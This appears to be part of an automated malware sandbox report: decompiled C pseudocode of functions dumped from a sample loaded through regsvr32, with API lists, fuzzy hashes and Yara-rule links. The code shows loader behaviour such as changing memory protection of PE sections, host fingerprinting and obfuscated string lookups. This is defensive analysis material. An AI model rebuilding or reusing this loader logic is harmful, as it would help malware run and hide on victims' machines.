                    • Sleep.KERNEL32(00000003,00000000,?,00000001,?,?,?,00D85044,?,?), ref: 00D82193
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                    • String ID:
                    • API String ID: 1610602887-0
                    • Opcode ID: 93bb3dd5672d62127113857d602942325626e86e4e2546bebde67bcb7acc19b5
                    • Instruction ID: 3f190ba13771e811a963130488e3189683533c73b16a1e1dc8b23e7db2734af9
                    • Opcode Fuzzy Hash: 93bb3dd5672d62127113857d602942325626e86e4e2546bebde67bcb7acc19b5
                    • Instruction Fuzzy Hash: 6FF03177A502047BD715ABA4DC5AFAEB7B9DB84761F150124F602E7340EAB49A0187B0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71FF5 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E00D71FF5(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E00D71226(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}







                    0x00d71ffe
                    0x00d72003
                    0x00d72011
                    0x00d72016
                    0x00d72016
                    0x00d7201c
                    0x00d72021
                    0x00d72025
                    0x00d72029
                    0x00d72029
                    0x00d72033
                    0x00d7203c

                    APIs
                    • GetCurrentThread.KERNEL32 ref: 00D71FF8
                    • SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 00D72003
                    • SetThreadPriority.KERNEL32(00000000,000000FF), ref: 00D72016
                    • SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 00D72029
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: Thread$Priority$AffinityCurrentMask
                    • String ID:
                    • API String ID: 1452675757-0
                    • Opcode ID: 0cdf7f2d4be81123e43608e33c9a1b02076cbc24391b377902fd30a269ad94c2
                    • Instruction ID: 2b708c04272b8d786f0b2292d7ceadb952e415d60cbf8c3cfa181beae015da14
                    • Opcode Fuzzy Hash: 0cdf7f2d4be81123e43608e33c9a1b02076cbc24391b377902fd30a269ad94c2
                    • Instruction Fuzzy Hash: 59E092312057112BA3222F2D5C85E6F675CEF963317054335F928D23E0FB548E45A5B6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D85251 Relevance: 4.6, APIs: 3, Instructions: 94memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D85251(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E00D86ADC(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0xd8a348; // 0x435d5a8
				_t4 = _t24 + 0xd8bc70; // 0x50e9218
				_t5 = _t24 + 0xd8bb60; // 0x4f0053
				_t26 = E00D833F1( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0xd8a348; // 0x435d5a8
						_t11 = _t32 + 0xd8bcc8; // 0x50e9270
						_t48 = _t11;
						_t12 = _t32 + 0xd8bb60; // 0x4f0053
						_t52 = E00D85DE4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0xd8a348; // 0x435d5a8
							_t13 = _t35 + 0xd8bcf0; // 0x30314549
							if(E00D85157(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0xd8a2fc - 6;
								if( *0xd8a2fc <= 6) {
									_t42 =  *0xd8a348; // 0x435d5a8
									_t15 = _t42 + 0xd8bcd2; // 0x52384549
									E00D85157(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0xd8a348; // 0x435d5a8
							_t17 = _t38 + 0xd8bbb8; // 0x50e9160
							_t18 = _t38 + 0xd8bc1c; // 0x680043
							_t45 = E00D85B0E(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0xd8a2d8, 0, _t52);
						}
					}
					HeapFree( *0xd8a2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E00D87220(_t54);
				}
				return _t45;
			}


















                    0x00d85251
                    0x00d85261
                    0x00d85264
                    0x00d8526b
                    0x00d8526d
                    0x00d8526d
                    0x00d85270
                    0x00d85275
                    0x00d8527c
                    0x00d85289
                    0x00d8528e
                    0x00d85292
                    0x00d852a0
                    0x00d852ae
                    0x00d852b2
                    0x00d85343
                    0x00d85343
                    0x00d852b8
                    0x00d852b8
                    0x00d852bd
                    0x00d852bd
                    0x00d852c4
                    0x00d852d0
                    0x00d852d2
                    0x00d852d4
                    0x00d852d6
                    0x00d852dd
                    0x00d852ef
                    0x00d852f1
                    0x00d852f8
                    0x00d852fa
                    0x00d85301
                    0x00d8530c
                    0x00d8530c
                    0x00d852f8
                    0x00d85311
                    0x00d85316
                    0x00d8531d
                    0x00d8533b
                    0x00d8533d
                    0x00d8533d
                    0x00d852d4
                    0x00d8534f
                    0x00d8534f
                    0x00d85351
                    0x00d85356
                    0x00d85358
                    0x00d85358
                    0x00d85363

                    APIs
                    • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,050E9218,00000000,?,74D0F710,00000000,74D0F730), ref: 00D852A0
                    • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,050E9160,?,00000000,30314549,00000014,004F0053,050E9270), ref: 00D8533D
                    • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00D868B6), ref: 00D8534F
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 74fa5b5cc63dc14ca1e6bd7bd35892decdfba0f26e980b645fafe24f99027e2e
                    • Instruction ID: 9529f56becfd6fecdc353feee6cd06d07fa409c56655545bc4d52266dc97920e
                    • Opcode Fuzzy Hash: 74fa5b5cc63dc14ca1e6bd7bd35892decdfba0f26e980b645fafe24f99027e2e
                    • Instruction Fuzzy Hash: 0E319131910709BFDB11EBA9EC85EAE7BBCEB04750F1400A6B501AB225DB71AE44DB70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D7170E Relevance: 4.6, APIs: 3, Instructions: 68memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E00D7170E(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t42;
				long _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t59;

				_v12 = _v12 & 0x00000000;
				_t56 =  *0xd741c0;
				_t57 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t56 - 0x43175abf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t59 = _v12;
					if(_t59 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t53 = _t56 - 0x43175abf;
							L9:
							_t42 = VirtualProtect( *((intOrPtr*)(_t57 + 0xc)) + _a4,  *(_t57 + 8), _t53,  &_v20); // executed
							if(_t42 == 0) {
								_v12 = GetLastError();
							}
							_t57 = _t57 + (_t56 - 0x3175ac2) * 0x28;
							_v8 = _v8 + 1;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t53 = _t56 - 0x43175ac1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						_t53 = _t56 - 0x43175aa3;
					} else {
						_t53 = _t56 - 0x43175a83;
					}
					goto L9;
				}
				goto L12;
			}












                    0x00d71718
                    0x00d71725
                    0x00d7172b
                    0x00d71737
                    0x00d71747
                    0x00d71749
                    0x00d71751
                    0x00d717e5
                    0x00d717ec
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d71757
                    0x00d71757
                    0x00d71757
                    0x00d7175b
                    0x00000000
                    0x00000000
                    0x00d71767
                    0x00d7176b
                    0x00d7178f
                    0x00d71793
                    0x00d717a7
                    0x00d717a7
                    0x00d717ad
                    0x00d717bc
                    0x00d717c0
                    0x00d717c8
                    0x00d717c8
                    0x00d717d4
                    0x00d717d6
                    0x00d717df
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d717df
                    0x00d7179b
                    0x00d7179f
                    0x00d717a5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d717a5
                    0x00d71773
                    0x00d71777
                    0x00d71781
                    0x00d71779
                    0x00d71779
                    0x00d71779
                    0x00000000
                    0x00d71777
                    0x00000000

                    APIs
                    • VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00D71747
                    • VirtualProtect.KERNEL32(00000000,?,?,?), ref: 00D717BC
                    • GetLastError.KERNEL32 ref: 00D717C2
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: ProtectVirtual$ErrorLast
                    • String ID:
                    • API String ID: 1469625949-0
                    • Opcode ID: 060f372e269dd5dc0749535b9905f5551140095b9627d66739c490a5d5b13d88
                    • Instruction ID: 61a7ca9fffbdbb2e4fe080387a298cf01604ae9a1d2263d4433c8d5cadc15f82
                    • Opcode Fuzzy Hash: 060f372e269dd5dc0749535b9905f5551140095b9627d66739c490a5d5b13d88
                    • Instruction Fuzzy Hash: EB211935C0021AEFCB18DF99C9C19A9F7F4FF14305F04896AE01AA6910F734AA59CF64
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D8790B Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E00D8790B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E00D84358(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0xd8a348; // 0x435d5a8
						_t20 = _t68 + 0xd8b270; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E00D84984(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                    0x00d87911
                    0x00d87914
                    0x00d87924
                    0x00d8792d
                    0x00d87931
                    0x00d879ff
                    0x00d87a05
                    0x00d87a05
                    0x00d8794b
                    0x00d87950
                    0x00d87954
                    0x00d8795a
                    0x00d8795f
                    0x00d87966
                    0x00d87975
                    0x00d87975
                    0x00d87979
                    0x00d8797b
                    0x00d87987
                    0x00d87992
                    0x00d8799d
                    0x00d879a1
                    0x00d879ab
                    0x00d879af
                    0x00d879b1
                    0x00d879b6
                    0x00d879bd
                    0x00d879cd
                    0x00d879cd
                    0x00d879b6
                    0x00d879af
                    0x00d879cf
                    0x00d879d4
                    0x00d879d9
                    0x00d879d9
                    0x00d879dc
                    0x00d879e5
                    0x00d879ea
                    0x00d879ea
                    0x00d879ef
                    0x00d879f4
                    0x00d879f4
                    0x00d879ef
                    0x00d87979
                    0x00d879f6
                    0x00d879fc
                    0x00000000

                    APIs
                      • Part of subcall function 00D84358: SysAllocString.OLEAUT32(80000002), ref: 00D843B5
                      • Part of subcall function 00D84358: SysFreeString.OLEAUT32(00000000), ref: 00D8441B
                    • SysFreeString.OLEAUT32(?), ref: 00D879EA
                    • SysFreeString.OLEAUT32(00D84D42), ref: 00D879F4
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: String$Free$Alloc
                    • String ID:
                    • API String ID: 986138563-0
                    • Opcode ID: 52f7347546fd5e0ded63f54274126ac3450882c524271a2a737f81892a5ae027
                    • Instruction ID: 25d3f22df074003aedfc8ca6d97343ab5f969e5c2c9ace9f49e4381715b8d18b
                    • Opcode Fuzzy Hash: 52f7347546fd5e0ded63f54274126ac3450882c524271a2a737f81892a5ae027
                    • Instruction Fuzzy Hash: FF31F872500259EFCB11EF58C888CABBB7AFBC97507294658F8559B210D732DD91CBB0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D720A4 Relevance: 3.1, APIs: 2, Instructions: 60stringthreadCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D720A4() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				void* _t24;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0xd741c4;
				if( *0xd741ac > 5) {
					_t16 = _t15 + 0xd75150;
				} else {
					_t16 = _t15 + 0xd7527e;
				}
				E00D71E4A(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				_t24 = E00D713A7( &_v32,  &_v16,  *0xd741c0 ^ 0xdd0210cf); // executed
				if(_t24 == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0xd741b8);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E00D71598(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0xd741b8;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0xd741b8 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E00D72164(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E00D7166A(_v28); // executed
				}
				ExitThread(_t25);
			}
















                    0x00d720aa
                    0x00d720bb
                    0x00d720c5
                    0x00d720bd
                    0x00d720bd
                    0x00d720bd
                    0x00d720cc
                    0x00d720d5
                    0x00d720da
                    0x00d720f1
                    0x00d720f8
                    0x00d72155
                    0x00d720fa
                    0x00d72100
                    0x00d72106
                    0x00d72114
                    0x00d72118
                    0x00d7211f
                    0x00d72121
                    0x00d72127
                    0x00d7212b
                    0x00d72133
                    0x00d72144
                    0x00d72135
                    0x00d7213b
                    0x00d7213b
                    0x00d72133
                    0x00d7214c
                    0x00d7214c
                    0x00d72157

                    APIs
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: ExitThreadlstrlen
                    • String ID:
                    • API String ID: 2636182767-0
                    • Opcode ID: 976593a256c6efab98726c883bcbc0de605edd24484cb3ce56bddfafe1a9f226
                    • Instruction ID: 6c9927b199c6fe46b4cb5111f1937601b5f7ab849c059b4676c7d551840998f0
                    • Opcode Fuzzy Hash: 976593a256c6efab98726c883bcbc0de605edd24484cb3ce56bddfafe1a9f226
                    • Instruction Fuzzy Hash: 4C11B6715043459BD711EB64DC49DAB77ECBB44300F45891ABA4DD3261FB30E984CB72
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D8472F Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E00D8472F(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E00D833DC(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E00D861DA(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                    0x00d84734
                    0x00d8473f
                    0x00d84741
                    0x00d84747
                    0x00d84749
                    0x00d8474e
                    0x00d84757
                    0x00d8475b
                    0x00d84764
                    0x00d84768
                    0x00d84777
                    0x00d8476a
                    0x00d8476b
                    0x00d84770
                    0x00d84770
                    0x00d84768
                    0x00d8475b
                    0x00d84780

                    APIs
                    • GetComputerNameExA.KERNEL32(00000003,00000000,00D83DCD,00000000,00000000,?,7491C740,00D83DCD), ref: 00D84747
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • GetComputerNameExA.KERNEL32(00000003,00000000,00D83DCD,00D83DCE,?,7491C740,00D83DCD), ref: 00D84764
                      • Part of subcall function 00D861DA: RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: ComputerHeapName$AllocateFree
                    • String ID:
                    • API String ID: 187446995-0
                    • Opcode ID: 1f3d8d751c1a7ebd915476673f534123fe4ffc126f419f77596aedba49bc8cc7
                    • Instruction ID: 392eed1f657541bf9133c84be2ecbaa95a1b9a5aa152582fb6eeb6e3ae57e349
                    • Opcode Fuzzy Hash: 1f3d8d751c1a7ebd915476673f534123fe4ffc126f419f77596aedba49bc8cc7
                    • Instruction Fuzzy Hash: D0F0B47660021AFAEB11E6AA8C01EAF77ACDBD5754F140055A904D3141EBB0DE0287B0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D85006 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D85006(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0xd8a2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0xd8a1c8 = GetTickCount();
				_t5 = E00D854D8(_a4);
				if(_t5 == 0) {
					_t5 = E00D8213E(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E00D86392(_t9) != 0) {
							 *0xd8a300 = 1; // executed
						}
						_t7 = E00D82523(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                    0x00d85006
                    0x00d8500f
                    0x00d85015
                    0x00d8501c
                    0x00d85020
                    0x00000000
                    0x00d85020
                    0x00d8502d
                    0x00d85032
                    0x00d85039
                    0x00d8503f
                    0x00d85046
                    0x00d8504f
                    0x00d85051
                    0x00d85051
                    0x00d8505b
                    0x00000000
                    0x00d8505b
                    0x00d85046
                    0x00d85060

                    APIs
                    • HeapCreate.KERNEL32(00000000,00400000,00000000,00D8107E,?), ref: 00D8500F
                    • GetTickCount.KERNEL32 ref: 00D85023
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: CountCreateHeapTick
                    • String ID:
                    • API String ID: 2177101570-0
                    • Opcode ID: fb74f633b6cec36204be1aba780bea2bcb52d9494fa98222b541036a520c8b74
                    • Instruction ID: 7fdcd41ecc8e76997b8d682901b7d4173734afe938a46c52c18a569be61b7624
                    • Opcode Fuzzy Hash: fb74f633b6cec36204be1aba780bea2bcb52d9494fa98222b541036a520c8b74
                    • Instruction Fuzzy Hash: 02F0D830690B01EAEB223F70BC2B72976D4EF04701F784026F941D42A5EB75D8409B76
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D82839 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                    Download Yara Rule
                    C-Code - Quality: 34%
                    			E00D82839(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0xd8a348; // 0x435d5a8
				_t4 = _t15 + 0xd8b3e8; // 0x50e8990
				_t20 = _t4;
				_t6 = _t15 + 0xd8b174; // 0x650047
				_t17 = E00D8790B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E00D8661C(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                    0x00d82843
                    0x00d8284a
                    0x00d8284b
                    0x00d8284c
                    0x00d8284d
                    0x00d82853
                    0x00d82858
                    0x00d82858
                    0x00d82862
                    0x00d82874
                    0x00d8287b
                    0x00d828a9
                    0x00d8287d
                    0x00d8287f
                    0x00d82884
                    0x00d828a6
                    0x00d82886
                    0x00d82889
                    0x00d82890
                    0x00d82895
                    0x00d82897
                    0x00d82897
                    0x00d8289c
                    0x00d8289c
                    0x00d82884
                    0x00d828b0

                    APIs
                      • Part of subcall function 00D8790B: SysFreeString.OLEAUT32(?), ref: 00D879EA
                      • Part of subcall function 00D8661C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,00D84B72,004F0053,00000000,?), ref: 00D86625
                      • Part of subcall function 00D8661C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,00D84B72,004F0053,00000000,?), ref: 00D8664F
                      • Part of subcall function 00D8661C: memset.NTDLL ref: 00D86663
                    • SysFreeString.OLEAUT32(00000000), ref: 00D8289C
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: FreeString$lstrlenmemcpymemset
                    • String ID:
                    • API String ID: 397948122-0
                    • Opcode ID: 42b206ccae6f2b6cfd091e73fb7833efdd28856a5aa906eb7f8a13497ae83279
                    • Instruction ID: 2d47514c698cc6f58d892006d96e304b5defdb36ea92f43261a95490fed73c5e
                    • Opcode Fuzzy Hash: 42b206ccae6f2b6cfd091e73fb7833efdd28856a5aa906eb7f8a13497ae83279
                    • Instruction Fuzzy Hash: A4015672900219BFDF12ABA8CC45ABABBB8EB04750F000566F902E7161E7719911CBB1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71E4A Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E00D71E4A(void* __eax, intOrPtr _a4) {

				 *0xd741d0 =  *0xd741d0 & 0x00000000;
				_push(0);
				_push(0xd741cc);
				_push(1);
				_push(_a4);
				 *0xd741c8 = 0xc; // executed
				L00D7215E(); // executed
				return __eax;
			}



                    0x00d71e4a
                    0x00d71e51
                    0x00d71e53
                    0x00d71e58
                    0x00d71e5a
                    0x00d71e5e
                    0x00d71e68
                    0x00d71e6d

                    APIs
                    • ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(00D720D1,00000001,00D741CC,00000000), ref: 00D71E68
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
